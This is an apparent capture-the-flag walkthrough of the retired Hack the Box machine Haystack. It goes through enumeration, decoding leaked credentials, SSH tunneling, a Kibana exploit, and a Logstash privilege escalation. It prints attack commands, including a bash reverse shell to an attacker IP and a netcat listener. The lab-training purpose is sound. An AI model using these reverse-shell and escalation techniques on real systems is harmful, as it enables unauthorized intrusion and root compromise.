Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Haystack

Security Ninja
December 16, 2019 by
Security Ninja

Today we will be continuing with our exploration of Hack the Box (HTB) machines, as seen in previous articles. This walkthrough is of an HTB machine named Haystack.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

The walkthrough

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Haystack, is retired.

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Haystack machine IP is 10.10.10.115.

3. We will adopt our usual methodology of performing penetration testing. Let’s start with enumeration in order to gather as much information about the machine as possible.

4. As usual, let’s start with the Nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE]

<<nmap -sC -sV -oA Haystack 10.10.10.115>>

5. As we can see, we have ports 22, 80 and 9200 available. Let’s start enumeration on these.

6. Beginning with port 80, we can see the web page below, which is apt given the name of the machine. There is also a hint about a certain phrase about where needles can be found.

7. Let’s jump to the more interesting port, 9200. Below is the output. From the icon, it looks to be an Elasticsearch component, but let’s go deeper.

8. Enumerating this directory with Gobuster reveals another interesting directory: “quotes”.

<<gobuster -u http://10.10.10.115:9200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20>>

9. Below is what the quotes directory revealed.  Nothing interesting just yet.

10. At this point, I have gone back to the port 80 image, downloaded it and performed strings on it to see if there is anything interesting. I found a Base64-encoded string.

<<string needle.jpg>>

11. Decoding it results in something written in the Spanish language.

12. Translating it reveals the following:

13. I’m trying to understand what that means. After much thought, I went back to Elasticsearch and thought of searching the word “clave” (translating “key” back to Spanish), as shown below:

14. It gave me the below output, which had some Spanish and Base64-obfuscated strings again.

15. Translating them again reveals the following:

16. Decoding the Base64 string reveals the following:

17. So we got the user and password. Since we have port 22 opened, let’s try these credentials there.

<<ssh security@10.10.10.115>>

18. It worked, and I can SSH to the machine with the above credentials!

19. Grab the user.txt file:

<<cat user.txt>>

20. Now let’s start to escalate privileges to root. After much enumeration, I found out that there is a Logstash service running as user “kibana,” but my current user is “security,” so it looks like I have to escalate to kibana.

<<cd /etc/logstash>>

<<ls -l>>

21. It looks as if the Logstash service is running locally. So tunneling it is:

<<ss -lnt>>

<<ssh -L 5601:127.0.0.1:5601 security@10.10.10.115>>

22. After implementing tunneling, the Logstash service was accessible over localhost, as can be seen below:

23. Enumerating the application reveals the version to be 6.4.2, which is vulnerable. We found a POC exploit for it as well.

24. We modify the POC to talk back to the attacking machine.

25. We download it on the victim machine locally.

26. And then we execute it to receive the shell back as user “kibana.”

27. We upgrade the shell.

<<python -c "import pty;pty.spawn('/bin/bash')">>

28. Now since we are with kibana, let’s go back to the files under user “root.”

29. It looks like there are three files:

  • Output.conf is executing the command
  • Input.conf is picking up the file from a location.
  • Filter.conf is whitelisting the command format.

30. So the plan is to create a reverse shell under the specified location (in input.conf) and to make sure the command had the prefix of “Ejecutar commando” to it.

31. Let’s echo the reverse shell to a new file under the location, as shown below:

<<echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.2/4422 0>&1' > /opt/kibana/logstash_shell.txt>>

32. Let’s open a port to listen for the reverse shell. After few minutes, we got the shell back with user root.

<<nc -nlvp 4422>>

33. We enumerate to grab root.txt.

<<cat root.txt>>

This is one of the most interesting boxes out there on HTB as it involves a lot of enumeration, thinking and hit/miss scenarios.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

We will continue this series with more such HTB machines.

Security Ninja
Security Ninja